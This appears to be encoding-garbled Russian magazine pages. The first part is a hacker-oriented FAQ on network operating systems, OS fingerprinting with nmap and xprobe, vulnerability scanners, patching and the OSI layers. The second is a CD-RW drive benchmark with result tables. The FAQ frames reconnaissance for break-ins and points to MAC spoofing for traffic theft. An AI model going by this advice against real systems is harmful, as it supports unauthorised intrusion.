ñåòåâîé îñüþ. Íî âðåìåíà âñÿ÷åñêèõ ïðè-
ìî÷åê, ïðèïàðîê è íàäñòðîåê äàâíî ïðîø-
ëè: òåïåðü áîëüøèíñòâî ÎÑ (è Windows, è
Unix) èçíà÷àëüíî ñåòåâûå. Òî åñòü âñå ñå-
òåâûå íàâîðîòû âñòðîåíû â ñèñòåìó.
Ê ÷åìó ÿ ýòî âñå? Äà ê òîìó, ÷òî ìû áóäåì
ãîâîðèòü î ñåòåâûõ îñÿõ, âåäü êàê õàêåðó
ïðîáðàòüñÿ íà íåñåòåâóþ òà÷êó? Òîëüêî
ïîñðåäñòâîì âèðóñîâ, íî, ê ñîæàëåíèþ,
áåç îáðàòíîé ñâÿçè. Ïîäðîáíåå î ñåòåâûõ
îïåðàöèîíêàõ ñòîèò ïî÷èòàòü çäåñü:
http://doc.trecom.tomsk.su/citforum.ru/win/
operating_systems/sos/glava_4.shtml

Ïåðåä âçëîìîì óäàëåííîé ñèñòåìû õàêåð
äîëæåí óçíàòü åå òèï: Win èëè Lin, ëèáî
÷òî-òî äðóãîå. Íó è, â çàâèñèìîñòè îò ðå-
çóëüòàòîâ, âûáðàòü ïîäõîäÿùèé ñïîñîá
çàëåçòü íà ÷óæîé êîìï.

Ìíîãèå ñåðâåðà ñàìè ïî óìîë÷àíèþ
ðàññêàçûâàþò î ñåáå. Íàïðèìåð, Web-
ñåðâåð ìîæåò âûäàòü ñâîþ âåðñèþ è
âåðñèþ ÎÑ âìåñòå ñ ñîîáùåíèåì îá
îøèáêå 404, ïîõîæåãî îòâåòà ìîæíî äî-
áèòüñÿ îò ïî÷òîâîãî èëè ôàéëîâîãî ñåð-
âåðà èëè ïðè ïîïûòêå óñòàíîâèòü telnet-
ñîåäèíåíèå. Íî îñòîðîæíî! Ãðàìîòíûé
àäìèíèñòðàòîð ìîæåò îòêëþ÷èòü ýòè ñî-
îáùåíèÿ, à õèòðþùèé àäìèí ìîæåò íàâ-
ðàòü, òî åñòü ïîäìåíèòü òåêñò ëîæíûìè
ñîîáùåíèÿìè.

Äëÿ áîëåå òî÷íîãî îïðåäåëåíèÿ òèïà
îïåðàöèîíêè ìîæíî èñïîëüçîâàòü ñêàíåð
nmap, â ýòîé ñòàòüå òû íàéäåøü ïîäðîá-
íûé ðàññêàç î ðàçëè÷èÿõ îñåé:
http://www.insecure.org/nmap/nmap-ffin-
gerprinting-aarticle-rru.html. Òóò âñå óæå
çàâÿçàíî íà àíàëèç ïðîòîêîëîâ. Îäíè è
òå æå ïðîòîêîëû ðåàëèçîâàíû â ðàçíûõ
âåðñèÿõ WIN/LIN è äðóãèõ îñåé ïî-ðàçíî-
ìó, ïîýòîìó, àíàëèçèðóÿ íþàíñû èõ ðàáî-
òû, ìîæíî îïðåäåëèòü òèï ÎÑ. Äëÿ ýòîãî
íóæíà ñïåöèàëüíàÿ ïðîãà òèïà nmap èëè
xprobe (http://www.sys-ssecurity.com/
html/projects/X.html). Íàäî áûòü ãîòîâûì

ê òîìó, ÷òî àäìèíû íå äðåìëþò è ïûòàþò-
ñÿ áîðîòüñÿ ñî ñêàíèðîâàíèåì ñâîåé îñè
(http://www.void.ru/content/976).

Îäíàêî íå âñåãäà õàêåðó îáÿçàòåëüíî
çàïàðèâàòüñÿ âåðñèåé è òèïîì ÎÑ, âåäü
îí ìîæåò ñðàçó âîñïîëüçîâàòüñÿ ñêàíå-
ðîì ñåòåâîé áåçîïàñíîñòè (íàïðèìåð,
http://www.xspider.ru/, øåñòàÿ âåðñèÿ
áåñïëàòíàÿ, à ñåäüìàÿ îáåùàåò ñòàòü êîì-
ìåð÷åñêîé), ñêàíåð âûäàñò ãîòîâûå äûðû,
ê êîòîðûì îñòàíåòñÿ òîëüêî ïîäîáðàòü
ýêñïëîéòû.

Ñåðâèñ - ýòî è åñòü èñòèííàÿ ïðè÷èíà
õàêà. Íà ÷òî ìîæåò ïîçàðèòüñÿ ñåòåâîé
ìîøåííèê: íà áàçó äàííûõ ñ âàæíîé
èíôîé (êðåäèòêàìè, ïîðíóøêîé, ëè÷-
íûìè äàííûìè ïîëüçîâàòåëåé, êîðïî-
ðàòèâíûìè ñåêðåòàìè), íà äîñòóï ê êà-
íàëó ñâÿçè èëè ê óïðàâëåíèþ ñåðâå-
ðîì. Âñå ýòî ðåñóðñû, çà êîòîðûå è áî-
ðþòñÿ õàêñîðû. Ñåðâèñ - ýòî ìîñòèê
ìåæäó êëèåíòîì è ðåñóðñîì, ê êîòîðî-
ìó íóæíî ïîëó÷èòü äîñòóï. Íàïðèìåð,
îòïðàâêà ýëåêòðîííîé ïî÷òû, çàãðóçêà
ôàéëîâ, äîñòóï ê áàçå äàííûõ - ýòî âñå
ñåðâèñû (óñëóãè).

Ïðîáëåìà â òîì, ÷òî ÷åì áîëüøå ñåðâåð
ïðåäîñòàâëÿåò âñÿ÷åñêèõ âîçìîæíîñòåé
(ñåðâèñîâ), òåì áîëåå îí óÿçâèì. Íàïðè-
ìåð, WEB-ñåðâåð áåç ñêðèïòîâ çàùèùåí
íàìíîãî ñèëüíåå, ÷åì ñåðâåð ñ íèìè.
Ñêðèïòû ïðåäîñòàâëÿþò äîïîëíèòåëüíûå
âîçìîæíîñòè òèïà âåäåíèÿ ãîñòåâîé êíè-
ãè, ðåãèñòðàöèè ïîëüçîâàòåëåé, îðãàíèçà-
öèè ÷àòà è òîìó ïîäîáíûõ ïðèìî÷åê, íî
îíè æå ÿâëÿþòñÿ ëàçåéêàìè äëÿ ýêñïëîé-
òîâ! Òî åñòü, äîáàâëÿÿ íîâûå âîçìîæíîñ-
òè ê ñâîåé ïàãå, òû âñåãäà äîáàâëÿåøü íî-
âûå äûðû! Êàê áûòü?

WINDOWS èäåò ïî ïóòè «ðàçðåøåíî
âñå, ÷òî íå çàïðåùåíî», òî åñòü ïî
óìîë÷àíèþ âêëþ÷åíî ìíîæåñòâî èíòå-
ðåñíûõ ñåðâèñîâ, êîòîðûå ïîëüçîâàòå-
ëþ ÷àñòî íå íóæíû, çàòî õàêñîðó ìîãóò
ïðèãîäèòüñÿ (êñòàòè, â Windows Server
2003 òàêàÿ áàãà ïîôèêñåíà, è ãàëî÷êè
íà íóæíûõ ëè÷íî òåáå ñåðâèñàõ íàäî
ïîñòàâèòü åùå íà ñòàäèè óñòàíîâêè -
ïðèì. ðåä.). Linux äî íåäàâíåãî âðåìåíè
ïîä÷èíÿëñÿ êîíöåïöèè «çàïðåùåíî âñå,
÷òî íå ðàçðåøåíî», îäíàêî äàííàÿ êîí-
öåïöèÿ âûçûâàåò ìåãàãåìîððîé ó ïîëü-
çîâàòåëÿ, ïîñêîëüêó âñå ñåðâèñû íóæíî
ñïåöèàëüíî íàñòðàèâàòü!

HACK-OS
FA

Q
 

ñëè êòî íå â êóðñå,
FAQ � Frequently

Asked Questions (×àÂî �
÷àñòî çàäàâàåìûå
âîïðîñû). Ýòà ðóáðèêà
ïîçâîëèò çàêðåïèòü
ïîëó÷åííûå õàêåðñêèå
çíàíèÿ, ïðîÿñíèòü
íåïîíÿòíûå òåðìèíû,
óçíàòü òîíêîñòè. 

Å

Ìàòóøêà Ëåíü
(mlen@mail.ru)

×òî òàêîå 
ñåòåâàÿ ÎÑ? ?

×òî òàêîå 
ñåðâèñ? ?

Êàê îïðåäåëèòü 
òèï óäàëåííûõ
ñåòåâûõ ÎÑ? ?
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Õàêåðû ïîñòîÿííî íàõîäÿò íîâûå
äûðî÷êè â ëþáîé ñèñòåìå, ïîýòîìó
ðåêîìåíäóåòñÿ äëÿ Âûíü ïîñòîÿííî
ñêà÷èâàòü íîâûå Service Pack
(http://www.microsoft.com/win-
dows2000/downloads/servi-
cepacks/default.asp ëèáî
http://www.microsoft.com/win-
dowsxp/pro/downloads/default.asp),
à äëÿ Ëèíü ÿäðî ïîñâåæåå
(http://www.kernel.org/). Ýòî êàñà-
åòñÿ íå òîëüêî ñàìîé îñè. Êîíå÷íî
æå, íåîáõîäèìî ïîñòîÿííî ïàò÷èòü
è äðóãèå ïðîãðàììû, çàäåéñòâîâàí-
íûå â îáùåíèè ñ ñåòüþ.

Îäíàêî ìíîãèå àäìèíû, äà è ïðîñ-
òî ðÿäîâûå ïîëüçîâàòåëè çàáèâàþò
íà ýòîò èçíóðèòåëüíûé ïðîöåññ, ïî-
ýòîìó íà íåêîòîðûõ ñèñòåìàõ ðàáî-
òàþò ëàçåéêè òðåõëåòíåé äàâíîñòè.

ß óæå íå ðàç ðàññêàçûâàë òåáå î
ìîäåëè âçàèìîäåéñòâèÿ îòêðûòûõ
ñèñòåì (ISO/OSI Open System
Interconnection / International
Standards Organization), ýòî ìåæäó-
íàðîäíûé ñåòåâîé ñòàíäàðò, î êîòî-
ðîì òû ìîæåøü ïðî÷åñòü çäåñü:
http://www.citforum.ru/nets/proto-
cols/1_01_02.shtml. Ýòî ñåìü óðîâ-
íåé, êîòîðûå óäîáíî ïðèìåíÿòü äëÿ
ïîíèìàíèÿ ðàáîòû ñåòè, íî â îïåðà-
öèîíêàõ íå âñå òàê ãëàäêî. Äàâàé
ðàçáåðåìñÿ, êàêèå ñåòåâûå ôóíê-
öèè òû èñïîëüçóåøü ÷àùå âñåãî.
Ïåðâûì äåëîì èäåò ôèçè÷åñêàÿ
ñðåäà (ôèçè÷åñêèé óðîâåíü). Ñà-
ìûé ïðîñòîé ñïîñîá ñîåäèíåíèÿ
êîìïüþòåðîâ - ÷åðåç COM-ïîðòû.
Ìîäåìíîå ñîåäèíåíèå íè÷åì îò
COM-ïîðòîâñêîãî íå îòëè÷àåòñÿ. Â
ðåæèìå óñòàíîâëåííîãî ìîäåìíîãî
ñîåäèíåíèÿ äâà êîìïà âîîáùå íå
âèäÿò ìîäåìû. Ìîäåì ìîæåò áûòü
êàáåëüíûì, ñïóòíèêîâûì èëè ðàäè-
îìîäåìîì, ýòî ñóòü äåëà íå ìåíÿåò.
Òàêæå ìîæíî ñîåäèíÿòüñÿ ÷åðåç
LAN-àäàïòåðû. Ìîæíî ñîåäèíÿòüñÿ
÷åðåç USB è FireWire (IEE 1394). ×å-
ðåç Bluetooth. Â Windows è Linux çà
ýòî îòâå÷àåò äðàéâåð ôèçè÷åñêîãî
óñòðîéñòâà.

Äàëüøå íà÷èíàþòñÿ íåïîíÿòíîñ-
òè, âåäü ôèçè÷åñêèé óðîâåíü îòâå-
÷àåò çà ýëåêòðè÷åñêèå ñèãíàëû è
âñå. Îäíàêî ýòè ñèãíàëû äîëæíû
ïîä÷èíÿòüñÿ ëîãèêå, äëÿ ýòîãî åñòü
ëîãè÷åñêèé óðîâåíü óïðàâëåíèÿ
çâåíüÿìè äàííûõ (êàíàëüíûé óðî-
âåíü). Íà ýòîì óðîâíå ñåòåâîå óñò-

ðîéñòâî èìååò MAC-àäðåñ (Media
Access Control). À òàêæå èìååòñÿ
LLC-ïîäóðîâåíü (Logic Link
Control). Ýòè ëîãè÷åñêèå ôóíêöèè
âûïîëíÿåò â WINDOWS ìèôè÷åñêèé
«àäàïòåð óäàëåííîãî ñîåäèíåíèÿ»,
çàìåòü, ÷òî áåç íåãî òû íå ñìî-
æåøü ðàáîòàòü äàæå ñ ìîäåìîì.
«Àäàïòåð óäàëåííîãî ñîåäèíåíèÿ»
èìååò ïðèâÿçêó ê äðàéâåðó ñåòåâî-
ãî óñòðîéñòâà, à äðàéâåð îáðàùàåò-
ñÿ íàïðÿìóþ ê ñîîòâåòñòâóþùåé
ñåòåâîé êàðòå. Â Âûíü MAC-àäðåñ
ìîæíî èçìåíèòü ñ ïîìîùüþ ðåäàê-
òèðîâàíèÿ ðååñòðà
(http://www.void.ru/content/856),
à â Ëèíü - ñ ïîìîùüþ ifconfig. Ýòè
ìåòîäû õàêñîðû èñïîëüçóþò äëÿ
âîðîâñòâà Èíòåðíåò-òðàôèêà â äî-
ìàøíèõ ñåòÿõ
(http://vxc.narod.ru/txt/trafic.htm),
ôëóäà è äðóãèõ ïàêîñòåé
(http://copol.narod.ru/hakraz-
noe4.htm).

Íà òðàíñïîðòíîì è ñåòåâîì óðîâ-
íå æèâóò âñåìè ëþáèìûå ïðîòîêî-
ëû TCP/IP, NetBIOS. ×åðåç ýòè ïðî-
òîêîëû õàêåðû ïðîêëàäûâàþò òóí-
íåëè, DOS'ÿò, ñêàíÿò, ïîëó÷àþò äîñ-
òóï ê ðåñóðñàì (çàìåòü, ÷åì âûøå
ïðîòîêîë, òåì áîëüøå óÿçâèìîñ-
òåé). Â Âûíü çà íàñòðîéêè TCP/IP
îòâå÷àåò «Ïðîòîêîë Èíòåðíåòà -
TCP/IP», à çà NetBIOS - «Êëèåíò Ñå-
òåé Microsoft», âñå îíè, åñòåñòâåí-
íî, ïðèâÿçàíû ê «Àäàïòåðó óäàëåí-
íîãî ñîåäèíåíèÿ». Êîíôèãóðèðîâà-
íèå TCP/IP â Ëèíü ïðîèñõîäèò òåì
æå ifconfig. Äëÿ ðàáîòû ñ NetBIOS â
Ëèíå èñïîëüçóåòñÿ äåìîí smbd.

Çà áàçû äàííûõ, web-ñåðâèñû,
ïî÷òîâûå ñåðâèñû è òîìó ïîäîáíûå
âåùè â Âûíü îòâå÷àþò ñïåöèàëü-
íûå ïðîãðàììû, à â Ëèíü - äåìîíû.
Ýòî óæå ïðèêëàäíîé óðîâåíü ìîäå-
ëè ISO/OSI.

Êàê âèäèøü, îïåðàöèîíêó íå òàê-
òî ïðîñòî ðàçëîæèòü ïî ñåìè óðîâ-
íÿì ìîäåëè ñåòåâîãî âçàèìîäåé-
ñòâèÿ.

Òàê â Ëèíå íàçûâàþò ôîíîâûå
ïðîãðàììû, îòâå÷àþùèå çà îïðåäå-
ëåííûå ôóíêöèè. Ïðîùå âñåãî äå-
ìîí îòëè÷èòü ïî ïîñëåäíåé áóêâå â
íàçâàíèè ïðîãðàììû: httpd, smbd è
òàê äàëåå. Âàæíàÿ îñîáåííîñòü äå-
ìîíà â òîì, ÷òî ïðè èçìåíåíèè êà-
êèõ-ëèáî íàñòðîåê åãî íåîáõîäèìî
ïåðåçàïóñêàòü. Êñòàòè, â ñåðâåðíûõ
ïðîãðàììàõ Âûíü òîæå îáû÷íî åñòü
äâå êíîïî÷êè: ïóñòèòü ñåðâåð, îñòà-
íîâèòü ñåðâåð. Äåéñòâèòåëüíî, ëþ-
áîå ñåðâåðíîå ïðèëîæåíèå äîëæíî
èñïîëíÿòüñÿ ïîñòîÿííî (â ôîíîâîì
ðåæèìå), íåâàæíî - â Linux èëè â
Windows. Ìèíóñ Âûíü â òîì, ÷òî ìû

íå ìîæåì îòêëþ÷èòü ãðàôè÷åñêèé
èíòåðôåéñ è òàêèì îáðàçîì âûñâî-
áîäèòü äîïîëíèòåëüíûå ðåñóðñû
äëÿ äåìîíîâ, â Ëèíü ìîæíî âîîá-
ùå íå âêëþ÷àòü ãðàôèêó. Ïîòîìó-
òî ïðîñòûå îïåðàöèè òèïà IP-ìàðø-
ðóòèçàöèè ìîæåò âûïîëíÿòü ïîä
êàñòðèðîâàííûì Ëèíåì äàæå äðåâ-
íèé 486 êîìï. Ïîäðîáíåå î ñåòåâûõ
äåìîíàõ ïîä Linux: http://www.del-
phimaster.ru/articles/kylix3/index.
html.

Ýòî îäèí èç óðîâíåé áåçîïàñíîñòè
èíôîðìàöèîííûõ ñèñòåì,
ðàçðàáîòàííûõ Ìèíèñòåðñòâîì
îáîðîíû ÑØÀ
(http://dsvolk.msk.ru/oracle/ 
security/standarts.htm). Ñ2 òðåáóåò
çàùèòû ïàìÿòè, âûäåëåííîé ïîä
ïðîöåññ, âîçìîæíîñòè óïðàâëåíèÿ
ðåñóðñàìè, èíäèâèäóàëüíîãî
ïîäõîäà ê êàæäîìó ïîëüçîâàòåëþ è
òîìó ïîäîáíîå. Îäíàêî çäåñü -
http://www.fact400.ru/
ms_security.htm - ìîæíî ïðî÷åñòü,
÷òî âñå Windows, íà÷èíàÿ ñ WIN95,
ñîîòâåòñòâóþò ýòîìó óðîâíþ. Âîò è
äóìàé, äîñòàòî÷íî ëè ýòîãî. È åùå
ññûëêà íà òåìó: http://a-zzzz.
narod.ru/windows/06-33_win-
dows_2000_xp.htm.

Äëÿ êàæäîé îïåðàöèîíêè åñòü
ñâîé ÿçûê êîìàíäíîé ñòðîêè îáî-
ëî÷êè (shell), ðàçëè÷èå â òîì, ÷òî ó
Linux ìîæåò áûòü íåñêîëüêî øåë-
ëîâ è ó êàæäîãî ÿçûê ñî ñâîèìè
íþàíñàìè. Áîëüøèíñòâî ÿçûêîâ
òåì è õîðîøè, ÷òî îíè òðàíñïëàò-
ôîðìåííûå, òî åñòü íå âàæíî, êà-
êàÿ îñü, ãëàâíîå, ÷òîáû èíòåðïðå-
òàòîð ñòîÿë. Ýòî ìîæåò áûòü Perl,
PHP, JavaScrip, VBScript è òàê äà-
ëåå. Ñîîòâåòñòâåííî, è õàêåðó
áîëüøîé ðàçíèöû íåò, êàêóþ
îøèáêó â PHP ýêñïëóàòèðîâàòü:
ïîä Windows èëè ïîä Linux.
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Çà÷åì 
íóæíû 
çàïëàòêè? ?

×òî òàêîå
ISO/OSI? ?

Êòî òàêèå
äåìîíû? ?

×òî òàêîå
«óðîâåíü
áåçîïàñíîñòè
Ñ2»? ?

Íà êàêèõ ÿçûêàõ
ïèøóò 
ñêðèïòû äëÿ
Âûíü è Ëèíü??



Ñ òåõ ïîð êàê ïîÿâèëèñü è ñòàëè øèðîêî ïðîèçâîäèòüñÿ
ðàçëè÷íûå CD-ROM è CD-RW âåðòóøêè ïðîøëî íå òàê óæ
ìíîãî âðåìåíè. Äåäû-õàêåðû, íàâåðíî, ïîìíÿò òå âðåìåíà
(92 - 95 ã.ã. ïðîøëîãî âåêà =)), êîãäà îáû÷íûé CD-ROM
áûë âñåì â äèêîâèíêó è ñòîèë îãðîìíûõ äåíåã, ïîýòîìó íå
âîäèëñÿ ó ñðåäíåñòàòèñòè÷åñêîãî ïîëüçîâàòåëÿ.

åðåëèñòûâàÿ æóðíàëû òåõ ëåò,
ÿ íàòêíóëñÿ íà òàêóþ ôðàçó:
«Åñëè âû ìîæåòå ïîçâîëèòü
ñåáå òàêóþ ðîñêîøü, êàê 4õ

CD-ROM...». Êàêàÿ áîëü! Êàê æå áåäíÿãå-àâòî-
ðó õîòåëîñü èìåòü ýòîò íåñ÷àñòíûé 4õ CD-
ROM!

ÇÀÊÀÒ ÝÐÛ ÄÈÑÊÅÒ
Äåéñòâèòåëüíî, òîãäà áîëüøàÿ ÷àñòü ñîôòà
ðàñïðîñòðàíÿëàñü íà äèñêåòàõ, â òîì ÷èñëå ãî-
ðÿ÷î (íå) ëþáèìûå òîáîé Âèíäû. Ïðè÷åì êî-
ëè÷åñòâî äèñêåò ñ äåñòðèáàìè ðîñëî ïðîñòî
ñóìàñøåäøèìè òåìïàìè. È åñëè â äèñòðèáóòè-
âå 95-îé Âèíäû ôëîïïèêîâ áûëî íå òàê óæ è
ìíîãî, òî óñòàíîâêà ïîëóîñè ñòàëà äëÿ ìåíÿ
ïåðâûì íî÷íûì êîøìàðîì (38-ÿ äèñêåòà îêà-
çàëàñü «áèòîé», è ïðèøëîñü âñå íà÷èíàòü
ñíà÷àëà). Åñëè æå òðåáîâàëîñü ñëèòü ó ñîñåäà
÷òî-òî áîëüøîå, òî â äîìå âûñêðåáàëèñü âñå
ôëîïàðè äî åäèíîãî èëè ñðàçó òàùèëè âèí-
÷åñòåð. Â îáùåì, òîãäà ñòàëî ïîíÿòíî, ÷òî íå-
îáõîäèìî ÷òî-òî áîëåå åìêîå, áûñòðîå äà è
áîëåå íàäåæíîå, ÷åì äèñêåòû, è â òî æå âðåìÿ
áîëåå ïðîñòîå è ðàñïðîñòðàíåííîå, ÷åì ZIP�û,
JAZZ�û, ñòðèìåðû è ïðî÷àÿ ìèøóðà.

Â øèðîêîé ïðîäàæå ïåðâûå CD-RW ïîÿâè-
ëèñü â 1995 ãîäó, à ñòîèëè îíè òîãäà ïîðÿä-
êà òûñÿ÷è áà÷åé çà âíóòðåííèé 2Õ CD-RW.
È òàêàÿ áîëüøàÿ öåíà íà ïèøóùèå ïðèâî-

äû äåðæàëàñü äîâîëüíî-òàêè äîëãî: òðè ãî-
äà íàçàä õîðîøèé ðåçàê íåëüçÿ áûëî êó-
ïèòü äåøåâëå 150-200 áåçóñëîâíûõ åäè-
íèö. Ñåé÷àñ öåíû íà âûøåîçíà÷åííóþ ïðî-
äóêöèþ ñòàëè âîèñòèíó ìèçåðíûìè. Âåäü
âñåãî çà 50 ó.å. ìîæíî êóïèòü âïîëíå ïðè-
ëè÷íûé ñîâðåìåííûé äðàéâ.

Ìíîãèå ìîãóò âîçðàçèòü, ÷òî óæå ïîÿâèëèñü
DVD-RW, íî âñåìó ñâîå âðåìÿ, äîéäåò äåëî è äî
íèõ. À ïîêà ñàìûìè àêòóàëüíûìè ïî öåíå è
ðàñïðîñòðàíåííîñòè îñòàþòñÿ îáû÷íûå ðåçàêè.

ÌÅÒÎÄÈÊÀ ÒÅÑÒÈÐÎÂÀÍÈß
Íà êàæäîì ðåçàêå áûëà çàïèñàíà òåõíîëîãè-
÷åñêàÿ áîëâàíêà. Òåõíîëîãè÷åñêèå CD-R�êè áû-
ëè âûáðàíû íå ñëó÷àéíî - âåäü ýòè áîëâàíêè
îòëè÷àþòñÿ íå òîëüêî íèçêîé öåíîé, íî è, êàê
ïðàâèëî, îòâðàòèòåëüíûì êà÷åñòâîì. Òàêàÿ
áîëâàíêà ÿâëÿåòñÿ íàñòîÿùèì èñïûòàíèåì
äëÿ ëþáîãî ðåçàêà è õîðîøî ïîêàçûâàåò êà÷å-
ñòâî äðàéâà. Ïîñëå çàïèñè áîëâàíêà âîçâðà-
ùàëàñü çàïèñàâøåìó åå äðàéâó, è ïðîâîäèëñÿ
òåñò êà÷åñòâà ïðîæèãà. Çà ýòèì èñïûòàíèåì
ñëåäîâàëî íîâîå: ÷òåíèå äðåâíåãî ïîöàðàïàí-
íîãî ñèäþêà. Åñòåñòâåííî, ó êàæäîãî óñòðîé-
ñòâà èìåþòñÿ îñîáåííîñòè. Êàêîé-òî ïðèâîä
îòëè÷àåòñÿ ïîâûøåííûì óðîâíåì øóìà, äðó-
ãîé - ðàçìåðàìè, à òðåòèé - äèçàéíîì è êîìï-
ëåêòàöèåé. Âñå ýòî ìû ñóììèðîâàëè â îòäåëü-
íîì ïîêàçàòåëå è ó÷ëè åãî â ðåçþìå.

ÏÐÎÆÈÃÀÒÅËÈ
ÆÈÇÍÈ
test_lab
(test_lab@gameland.ru)
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ÒÅÑÒÈÐÎÂÀÍÈÅ CD-RW ÏÐÈÂÎÄÎÂ

Asus MMitsumi AAsus SSamsung LG MMitsumi SSONY TEAC
CRW-55224A BBOX CR-4487ETE CRW-55224A SW-2252 GCE-88520B CR-4485FTE CRX- 2220E1 CD-WW552E

SEEK TIMES
Random SSeek 89 ms 81 ms 108 ms 89 ms 95 ms 58 ms 91 ms 92 ms
1/3 SSeek 96 ms 77 ms 126 ms 98ms 105 ms 67 ms 94 ms 95 ms
Full SSeek 147 ms 127 ms 190 ms 159 ms 162 ms 108 ms 142 ms 159 ms

INTERFACE
Burst RRate 17 MB/s 2 MB/s 1 MB/s 2 MB/s 2 MB/s 16 MB/s 19 MB/s 17 MB/s

SPIN UP/DOWN TIME
Spin UUp TTime 0.10 sec 3.32 sec 1.44 sec 2.05 sec 4.06 sec 1.66 sec 0.07 sec 0.30 sec
Spin DDown TTime 4.87 sec 3.97 sec 4.1 sec 3.50 sec 4.57 sec 0.01 sec 3.49 sec 5.05 sec

Disc EEject TTime 2.36 sec 1.29 sec 2.53 sec 1.43 sec 1.65 sec 1.51 sec 1.61 sec 2.40 sec
Disc LLoad TTime 1.55 sec 0.84 sec 1.64 sec 1.12 sec 1.46 sec 1.01 sec 1.49 sec 1.53 sec
Disc RRecognition TTime 0.18 sec 6.82 sec 13.83 sec 6.00 sec 12.30 sec 10.65 sec 7.95 sec 14.31 sec

TRANSFER RATE
Start 24.01x 23.68x 23.84x 18.77x 18.86x 21.38x 19.36x 23.93x
End 52.43x 50.76x 49.27x 40.23x 29.37x 38.95x 40.32x 45.45x
Average 39.33x 38.82x 39.07x 30.77x 30.63x 33.51x 30.85x 38.96x

CPU USAGE
1X 0% 0% 0% 1% 0% 1% 1% 0%
2X 1% 1% 1% 2% 1% 2% 1% 1%
4X 3% 3% 3% 3% 3% 4% 2% 3%
8X 6% 5% 6% 7% 5% 7% 5% 6%
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Ïðîæèãàòåëè æèçíè 088

Êà÷åñòâåííûé LCD 094

Payalnik Äîêòîðà

Äîáðÿíñêîãî 096

Payalnik Äîêòîðà

Äîáðÿíñêîãî. 

Ñïåöâûïóñê 098

óáðèêà HARD - ýòî
òåñòû è îáçîðû

æåëåçà, îïèñàíèå è ðàç-
áîð ñàìûõ ïåðåäîâûõ
õàðäâåðíûõ òåõíîëîãèé,
à òàêæå ðàäèîëþáèìàÿ
ðàäèîðóáðèêà âñåõ ðàäè-
îëþáèòåëåé è ýëåêòðîí-
ùèêîâ � Ïàÿëüíèê Äîê-
òîðà Êîäà.
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ÒÅÑÒÎÂÛÉ ÑÒÅÍÄ
Äëÿ òåñòèðîâàíèÿ ïðèâîäîâ áûëà âûáðàíà äîñòàòî÷íî òèïè÷-
íàÿ êîíôèãóðàöèÿ:
ìàòü - Asus A7V-133C;
ïðîöåññîð - Athlon XP 1500 ÌÃö;
ïàìÿòü - 512 Ìá PC133 SDRAM;
âèäþõà - Radeon 8500 le;
âèíò - WD 1200jb 120 Ãá.

ÏÐÎÃÐÀÌÌÍÎÅ ÎÁÅÑÏÅ×ÅÍÈÅ
Nero Burning Rom

Èçâåñòíàÿ ïðîãðàììà äëÿ çàïèñè äèñêîâ. Ïîääåðæèâàåò ïðàê-
òè÷åñêè âñå ñóùåñòâóþùèå ôîðìàòû çàïèñè, èìååò ìíîãî èí-
òåðåñíûõ íàñòðîåê.

Nero InfoTool
Ýòà ñîôòèíà ñ÷èòûâàåò èç BIOS�à ïðèâîäà åãî îñíîâíûå õàðàêòå-
ðèñòèêè. Ñ ïîìîùüþ íåå ìû ïðîòåñòèëè óñòðîéñòâà íà ñîâìåñòè-
ìîñòü ñ îñíîâíûìè ñòàíäàðòàìè ñîâðåìåííûõ îïòè÷åñêèõ íîñèòå-
ëåé, à òàêæå âûÿâèëè íåêîòîðûå òåõíè÷åñêèå íþàíñû, òàêèå êàê
ðàçìåð áóôåðà è âåðñèÿ ïðîøèâêè.
Ðåêîìåíäóåì îïûòíûì ïîêóïàòåëÿì èñïîëüçîâàòü ýòó ïðîãðàììó
äëÿ ïðîâåðêè ïðèîáðåòàåìîãî äðàéâà, ÷òîáû íå ïîêóïàòü «êîòà â
ìåøêå». Äëÿ èñïîëüçîâàíèÿ äîñòàòî÷íî ïîäêëþ÷èòü äèñêîâîä ê
êîìïüþòåðó è çàïóñòèòü InfoTool.exe ïðÿìî ñ äèñêåòêè.

Nero CD Speed (1.02)
Óòèëèòà äëÿ ïðîâåðêè ïîääåðæêè òðàäèöèîííûõ ôîðìàòîâ. Ïðè
êîíôèãóðèðîâàíèè ñâîåãî êîìïà þçåð ñòðåìèòñÿ íå òîëüêî ïî-
ëó÷èòü äîñòóï ê íîâîââåäåíèÿì, íî è ñîõðàíèòü ïîääåðæêó ñòà-
ðûõ òåõíîëîãèé. Êîíå÷íî, ïåðåõîä íà ÷åòûðåõ- è áîëåå ãèãàáàéò-
íûå DVD-íîñèòåëè î÷åíü ïðèâëåêàòåëåí äëÿ ïðîèçâîäèòåëåé
èãð, êèíî, êðóïíûõ ïðîãðàììíûõ êîìïëåêñîâ, îäíàêî äî ñèõ ïîð
ïîäàâëÿþùåå áîëüøèíñòâî èíôîðìàöèè ðàñïðîñòðàíÿåòñÿ íà
îáû÷íûõ êîìïàêòàõ. À ìóçûêàëüíûå àëüáîìû âîîáùå íå òðåáó-
þò áîëüøèõ îáúåìîâ (åñëè òîëüêî ýòî íå ñáîðíèêè), òî åñòü àó-
äèî åùå äîëãî áóäåò îñòàâàòüñÿ íà îáû÷íûõ CD.

ÃÐÀÔÈÊÈ
Ñòîèò îáúÿñíèòü, ÷òî ïîêàçàíî íà ãðàôèêàõ:
- çåëåíàÿ âåòêà - Transfer Rate, òî åñòü ñêîðîñòü ñ÷èòûâàíèÿ
äàííûõ;
- æåëòàÿ âåòêà - ñêîðîñòü âðàùåíèÿ äèñêà;
- ïîëå Speed - ñêîðîñòü ïåðåäà÷è äàííûõ: average (ñðåäíÿÿ),
start (íà÷àëüíàÿ) è end (êîíå÷íàÿ).
Äèñêîâîä ðàáîòàåò â ðåæèìå CAV (Constant Angular Velocity),
òî åñòü ñ ïîñòîÿííîé óãëîâîé ñêîðîñòüþ, ïîýòîìó ãðàôèê
âûãëÿäèò èìåííî òàê: æåëòàÿ ëèíèÿ ïðÿìàÿ, òî åñòü äèñê âðà-
ùàåòñÿ ñ ïîñòîÿííîé ñêîðîñòüþ, çåëåíàÿ ëèíèÿ ïîêàçûâàåò,
÷òî ñêîðîñòü ïåðåäà÷è äàííûõ ðàñòåò. Ýòî ïðîèñõîäèò ïîòî-
ìó, ÷òî áëèæå ê êðàþ ðàäèóñ äèñêà áîëüøå, òàê ÷òî çà òî æå
âðåìÿ ëàçåð ïðîõîäèò áîëüøóþ ïîâåðõíîñòü è áîëüøå óñïå-
âàåò ñ÷èòàòü.

ASUS 5224A

Ýòîò ðåêîðäåð ïîñòàâëÿåòñÿ â êîðîáî÷íîì âàðèàíòå. Ïîìèìî äå-
âàéñà â êîðîáêå áûëî íàéäåíî äâå áîëâàíêè, êîìïëåêò âèíòèêîâ è
